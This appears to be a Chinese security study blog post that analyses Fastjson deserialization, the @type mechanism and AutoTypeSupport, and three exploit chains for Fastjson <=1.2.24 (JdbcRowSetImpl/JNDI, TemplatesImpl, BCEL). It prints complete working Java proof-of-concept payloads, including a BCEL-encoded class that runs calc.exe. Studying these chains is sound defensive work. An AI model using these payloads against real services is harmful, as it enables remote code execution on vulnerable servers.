0x01前言
最近工作比较忙,给自己休整了几天,正好过两天就周末了要出门也没空学啥,所以打算把学习任务提前一下。原谅自己学习进度太慢了。。。
0x02Fastjson的序列化和反序列化
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
在fastjson中提供了两种接口函数
JSON#toJSONString()实现对象的序列化操作JSON#parseObject()/JSON#parse()实现对象的反序列化操作
但是对于Fastjson来说,并不是所有的java对象都能被序列化为JSON,只有JavaBean格式的对象才能被Fastjson转化成JSON格式
我们写个demo来看看序列化和反序列化流程的走向
class Person {
//使用Alt+Insert键可以快速生成属性的getter和setter方法
public String name;
public int age;
public String getName() {
System.out.println("执行了getName方法");
return name;
}
public void setName(String name) {
System.out.println("执行了setName方法");
this.name = name;
}
public int getAge() {
System.out.println("执行了getAge方法");
return age;
}
public void setAge(int age) {
System.out.println("执行了setAge方法");
this.age = age;
}
}
然后我们写个序列化和反序列化的操作
先看看序列化的操作
public class Demo {
public static void main(String[] args) {
Person p = new Person();
p.setName("John");
p.setAge(22);
//序列化
System.out.println("----------序列化操作----------");
String json = JSON.toJSONString(p);
System.out.println(json);
}
}
输出
执行了setName方法
执行了setAge方法
----------序列化操作----------
执行了getAge方法
执行了getName方法
{"age":22,"name":"John"}
在toJSONString()方法处打个断点调试一下
首先进入了第一个toJSOINString方法
public static String toJSONString(Object object) {
return toJSONString(object, emptyFilters);
}
随后进入里面的另一个toJSONString()方法
public static String toJSONString(Object object, SerializeFilter[] filters, SerializerFeature... features) {
return toJSONString(object, SerializeConfig.globalInstance, filters, (String)null, DEFAULT_GENERATE_FEATURE, features);
}
然后又是一个toJSONString()方法
public static String toJSONString(Object object, //
SerializeConfig config, //
SerializeFilter[] filters, //
String dateFormat, //
int defaultFeatures, //
SerializerFeature... features) {
SerializeWriter out = new SerializeWriter(null, defaultFeatures, features);
try {
JSONSerializer serializer = new JSONSerializer(out, config);
if (dateFormat != null && dateFormat.length() != 0) {
serializer.setDateFormat(dateFormat);
serializer.config(SerializerFeature.WriteDateUseDateFormat, true);
}
if (filters != null) {
for (SerializeFilter filter : filters) {
serializer.addFilter(filter);
}
}
serializer.write(object);
return out.toString();
} finally {
out.close();
}
}
里面的就是具体的序列化流程了,这个就不深究了
我们再来看看反序列化流程
先看看JSON#parseObject()方法的参数
public static <T> T parseObject(String text, Class<T> clazz) {
return parseObject(text, clazz, new Feature[0]);
}
接收JSON字符串和原生类作为参数,将JSON字符串转换为对应的Java对象。
反序列化看看
public class Demo {
public static void main(String[] args) {
Person p = new Person();
p.setName("John");
p.setAge(22);
//序列化
System.out.println("----------序列化操作----------");
String json = JSON.toJSONString(p);
System.out.println(json);
//反序列化
System.out.println("----------反序列化操作----------");
Person unserjson = JSON.parseObject(json, Person.class);
System.out.println(unserjson);
}
}

其实到这里的话就很清楚了,在反序列化的时候,JSON#parseObject()方法会再一次调用原生类的Setter方法。
如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。
不过在上面的例子中可以看出,JSON#parseObject方法调用的时候我们是给它固定了原生类为Person.class,那么如果在实际环境中,有那么多的类的话,此时程序如何知道自己需要反序列化什么类的对象呢?这时候就需要用到一个注解@type了
将JSON反序列化为原始的类的方法有两种
- 第一种是在序列化的时候,在toJSONString方法中添加额外的属性
SerializerFeature.WriteClassName,将对象类型一并序列化,我们测试一下

结果就是Fastjson在JSON字符串中添加了一个@type字段,这个用于标识对象所属的类
在反序列化的时候,parse()方法就会根据@type字段去转化成原来的类

- 第二种方法是在反序列化的时候,在
parseObject()方法中手动指定对象的类型
0x02Fastjson中的@type
我们介绍一下这里的@type字段
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
再来看看下面两个测试代码
public class Demo {
public static void main(String[] args) {
//反序列化
System.out.println("----------反序列化操作1----------");
String ser_json1 = "{\"name\":\"wanth3f1ag\",\"age\":22}";
JSON.parseObject(ser_json1);
System.out.println("----------反序列化操作2----------");
String ser_json2 = "{\"@type\":\"SerializeChains.FastjsonSer.Person\",\"name\":\"wanth3f1ag\",\"age\":22}";
JSON.parseObject(ser_json2);
}
}

可以看到在没有指定@type字段的时候,程序并不知道该把JSON字符串序列化成哪个类型的对象,当我们用@type属性后,就能正常的将JSON字符串按照Person类去反序列化回java对象
这样就会调用对应的setter和getter方法。
那么这里就引出一个问题,如果这里的@type没有进行特殊的处理和检查,我们是否可以利用这个属性去指定一些恶意类去实例化利用他们呢?
例如DNS请求的类
{"@type":"java.net.InetAddress","val":"b3jv10.dnslog.cn"}

成功接收到DNS请求
那么同样的,我们的类中的getter或setter方法包含恶意代码的话也就能执行

因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。
0x02Fastjson中的AutoTypeSupport
AutoTypeSupport是Fastjson中的一个安全配置选项,用于控制自动类型转换的支持,在默认情况下,Fastjson>= 1.2.25会禁用自动类型转换功能,但是通过启用AutoTypeSupport,可以允许对@type注解的解析和自动类型转换
默认情况下autoTypeSupport为False,设置为True的方法有两种:
- 在反序列化前添加代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
然后从代码中可以看到有一个AutoType白名单,AutoType白名单设置的方法也有几种:
- 在反序列化前添加代码
ParserConfig.getGlobalInstance().addAccept(“[白名单类名]”); - JVM启动参数:
-Dfastjson.parser.autoTypeAccept=[白名单类名] - 配置文件配置,在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置:
fastjson.parser.autoTypeAccept=[白名单类名]
例如我们这里将Fastjson版本换成1.2.25并重新反序列化

发现出现了不支持的情况,然后我们启动AutoTypeSupport再试试

这样就可以了
0x03Fastjson <=1.2.24 Chains
我们来看最开始出现序列化的版本Fastjson<=1.2.24,在这个版本中是默认支持@type这个属性的
这个版本有三条利用链JdbcRowSetImpl利用链,Templateslmpl利用链和BCEL利用链
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,需要结合JDBC的攻击手法去利用,这个是通用性最强的利用方式
JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。
我们看一下JdbcRowSetImpl类中的setAutoCommit方法

如果conn为null的话就会进入else语句,并调用到connect()方法,我们跟进看一下
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
这里的话如果配置了数据源名称(DataSourceName)时会优先通过JNDI获取连接,之后并根据是否配置了用户名和密码选择对应的连接方法。如果没有配置数据源名称的话会通过 JDBC URL 直接获取连接。
跟进看一下lookup方法,发现lookup方法是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。

然后我们看一下DataSourceName的set和get方法
public String getDataSourceName() {
return dataSource;
}
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
setDataSourceName()方法会设置dataSource的值
所以我们这里将dataSource赋值为我们恶意文件的远程地址。
因此我们可以构造利用链,设置@type的类型为jdbcRowSetlmpl类型,然后我们将dataSourceName传给lookup方法,最后再设置一下autoCommit属性,让lookup触发就行了
payload1(LDAP+JNDI)
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
public class jdbcRowSetlmpl {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
需要注意的是,这里的dataSourceName需要放在autoCommit前面,因为反序列化的顺序问题,我们需要先让setDataSourceName执行,然后再执行setautoCommit。

TemplatesImpl利用链
影响1.2.22-1.2.24
这个之前讲过很多次了只不过这里的话是利用json反序列化去打的而已
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[恶意类的base64],
'_name':'test',
'_tfactory':{},
'_outputProperties':{}
}
payload2
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class POC2 {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class"));
String base64_code = Base64.getEncoder().encodeToString(bytes);
//System.out.println(base64_code);
String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\""+base64_code+"\"]," +
"\"_name\":\"test\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}" +
"}\n";
JSON.parseObject(Payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
}
}
由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。
这里的话有三个问题
问题1:base64编码
根据之前的学习,我们知道其实_bytecodes需要传入的是一个字节码,但是为什么这里需要用base64编码呢?
因为在反序列化的时候,会对字符串的类型进行一个判断,如果是一个base64编码的话会被解码成byte数组
我们可以调试一下

然后进入bytesValue()方法

这里的话会对传入的base64进行一个解码操作
问题2:_tfactory为什么为空
在之前CC3中可以知道,_tfactory需要设置为一个TransformerFactoryImpl对象才能让链子走下去,但是这里为什么为空也能正常执行呢?
因为为空会新建实例进行赋值
至于_tfactory为什么会知道是TransformerFactoryImpl呢?这是在类中已经定义好了。
private transient TransformerFactoryImpl _tfactory = null;
问题3:如何调用getOutputProperties方法
对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()方法能够最终走到defineClass(),并且格式也符合getter。所以构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了。
BCEL利用链
这是另一个种不需要出网的链子,但是同时也需要额外的依赖
BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
依赖
只需要有JDK自带的dbcp或tomcat-dbcp的依赖即可
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader

ClassLoader#loadClass分析
ClassLoader类里面有一个loadClass方法,它重写了Java内置的ClassLoader#loadClass()方法。
我们跟进看一下
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
前面的就不说了,都是一些缓存中加载和系统类加载的手法,重点在于这段代码

如果传入的类名包含$$BCEL$$,就调用createClass函数创建该类

subString()截取$$BCEL$$后面的内容作为真实的类名并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组。
随后创建Parser解析器并调用parse()方法进行解析,生成JavaClass对象并返回clazz

这里会调用java原生的defineClass去进行类加载
明确了这里的类加载步骤后我们得看看在createClass函数里面的Utility.decode是什么样的解码方式
public static byte[] decode(String s, boolean uncompress) throws IOException {
char[] chars = s.toCharArray();
CharArrayReader car = new CharArrayReader(chars);
JavaReader jr = new JavaReader(car);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int ch;
while((ch = jr.read()) >= 0) {
bos.write(ch);
}
bos.close();
car.close();
jr.close();
byte[] bytes = bos.toByteArray();
if(uncompress) {
GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));
byte[] tmp = new byte[bytes.length * 3]; // Rough estimate
int count = 0;
int b;
while((b = gis.read()) >= 0)
tmp[count++] = (byte)b;
bytes = new byte[count];
System.arraycopy(tmp, 0, bytes, 0, count);
}
return bytes;
}
首先是把字符串 s 按 Java 字符串字面量方式解析
由于在createClass中传入Utility.decode的第二个参数是true,所以会进行一个GZIP的解压缩
例如我们本地测试一下
写一个恶意类
public class calc{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
将该类编译成clas文件后用Utility.encode进行操作
package SerializeChains.FastjsonSer;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class test {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\13664\\Desktop\\fastjson\\target\\classes\\calc.class"));
String code = Utility.encode(bytes,true);
System.out.println(code);
}
}
输出结果
$l$8b$I$A$A$A$A$A$A$A$85QMO$db$40$Q$7d$9b8$b1$e3$3a$e4$8b$d0$P$da$S$be$93$i$f0$a57$a2$5eP$b9$d4mQ$83$e8y$b3$ac$92$N$c6$8e$ec$NB$fdC$3ds$B$d4C$7f$40$7fT$d5$d9m$KH$ad$c4J$9e$f1$bc$99$f7ff$f7$e7$af$ef$3f$A$bc$c1$8e$P$PO$7d$3c$c3s$P$_$8c_u$f1$d2G$J$af$5c$bcv$b1$c6P$k$a8D$e9$b7$M$c5n$ef$84$c19HO$rC$zR$89$fc8$3f$l$c9$ec$98$8fbB$9aQ$wx$7c$c23e$e2$F$e8$e8$89$ca$Z6$a2$a1$q$3cV_$e5$c1$84$ab$q$P$Py$ae$a7y$9a$Q$k$SM$ec3x$D$R$_Z1$a2$b6$a3$v$bf$e0a$cc$93q$f8$eeR$c8$99ViBe$d5$a1$e6$e2$ec$D$9f$d9$W4$z$83$3fL$e7$99$90$87$ca$b4$ac$Y$b9$3d$c3$NP$81$ef$a2$T$60$j$h$a4o$T$f2R$G$d8$c4$WC$eb$3f$fa$B$b6$e13t$k$h$97$a1$7e$cf$fe4$9aJ$a1$Z$g$f7$d0$e7y$a2$d59M$e3$8f$a5$be$L$da$dd$5e$f4O$N$ad$e4$d0P$q$b9$db$7d$90$j$eaL$r$e3$fd$87$84$a3$y$V2$cf$89P$9bQR$db$8b8$ce$b8$90$b4$a0K$PiN$B$cc$acM$f6$JE$nyF$be$d4$bf$B$bb$b2$e9$80l$d9$82ET$c9$G$7f$K$b0$84$gy$P$f5$3b2$b7b$40$f3$W$85f$f1$g$ce$97o$f0$de$f7$afQ$be$b2x$85$b8$rR1$8a$x$f4gt$x$WuI$d9C$83$94$fev$a8$c2$a1$b8IQ$8b$3e$X$85$c8$c5$b2C$89$b6$jj$e57y$e9m$fd$92$C$A$A
链子分析
BasicDataSource#getConnection
我们看到BasicDataSource#getConnection方法:

跟进createDataSource方法

跟进createConnectionFactory方法

这里会根据指定的类加载器driverClassLoader去加载driverClassName

并且这里会获取构造请并实例化对象,就会触发我们的恶意类静态方法中的恶意代码
driverClassName和driverClassLoader变量都是可控参数

那我们就可以指定用BCEL去加载我们的恶意类,从而构造链子
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}:"bbb"
}
payload3
package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON;
public class BCEL_POC {
public static void main(String[] args) {
String payload = "{" +
"{" +
"\"aaa\":{\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
"\"driverClassLoader\":{" +
"\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
"}," +
"\"driverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85QMO$db$40$Q$7d$9b8$b1$e3$3a$e4$8b$d0$P$da$S$be$93$i$f0$a57$a2$5eP$b9$d4mQ$83$e8y$b3$ac$92$N$c6$8e$ec$NB$fdC$3ds$B$d4C$7f$40$7fT$d5$d9m$KH$ad$c4J$9e$f1$bc$99$f7ff$f7$e7$af$ef$3f$A$bc$c1$8e$P$PO$7d$3c$c3s$P$_$8c_u$f1$d2G$J$af$5c$bcv$b1$c6P$k$a8D$e9$b7$M$c5n$ef$84$c19HO$rC$zR$89$fc8$3f$l$c9$ec$98$8fbB$9aQ$wx$7c$c23e$e2$F$e8$e8$89$ca$Z6$a2$a1$q$3cV_$e5$c1$84$ab$q$P$Py$ae$a7y$9a$Q$k$SM$ec3x$D$R$_Z1$a2$b6$a3$v$bf$e0a$cc$93q$f8$eeR$c8$99ViBe$d5$a1$e6$e2$ec$D$9f$d9$W4$z$83$3fL$e7$99$90$87$ca$b4$ac$Y$b9$3d$c3$NP$81$ef$a2$T$60$j$h$a4o$T$f2R$G$d8$c4$WC$eb$3f$fa$B$b6$e13t$k$h$97$a1$7e$cf$fe4$9aJ$a1$Z$g$f7$d0$e7y$a2$d59M$e3$8f$a5$be$L$da$dd$5e$f4O$N$ad$e4$d0P$q$b9$db$7d$90$j$eaL$r$e3$fd$87$84$a3$y$V2$cf$89P$9bQR$db$8b8$ce$b8$90$b4$a0K$PiN$B$cc$acM$f6$JE$nyF$be$d4$bf$B$bb$b2$e9$80l$d9$82ET$c9$G$7f$K$b0$84$gy$P$f5$3b2$b7b$40$f3$W$85f$f1$g$ce$97o$f0$de$f7$afQ$be$b2x$85$b8$rR1$8a$x$f4gt$x$WuI$d9C$83$94$fev$a8$c2$a1$b8IQ$8b$3e$X$85$c8$c5$b2C$89$b6$jj$e57y$e9m$fd$92$C$A$A\"" +
"}" +
"}:\"bbb\""+
"}";
JSON.parse(payload);
}
}

有些人会问为什么可以触发getConnection?这是因为JSON在反序列化JSONObject的时候会对JSON的key自动调用toString方法,而调用toString的时候就会调用到该类的getter方法,在POC中,我们如果把这个整体当做一个JSONObject,会把这个当做key,值为bbb,从而调用到getConnection。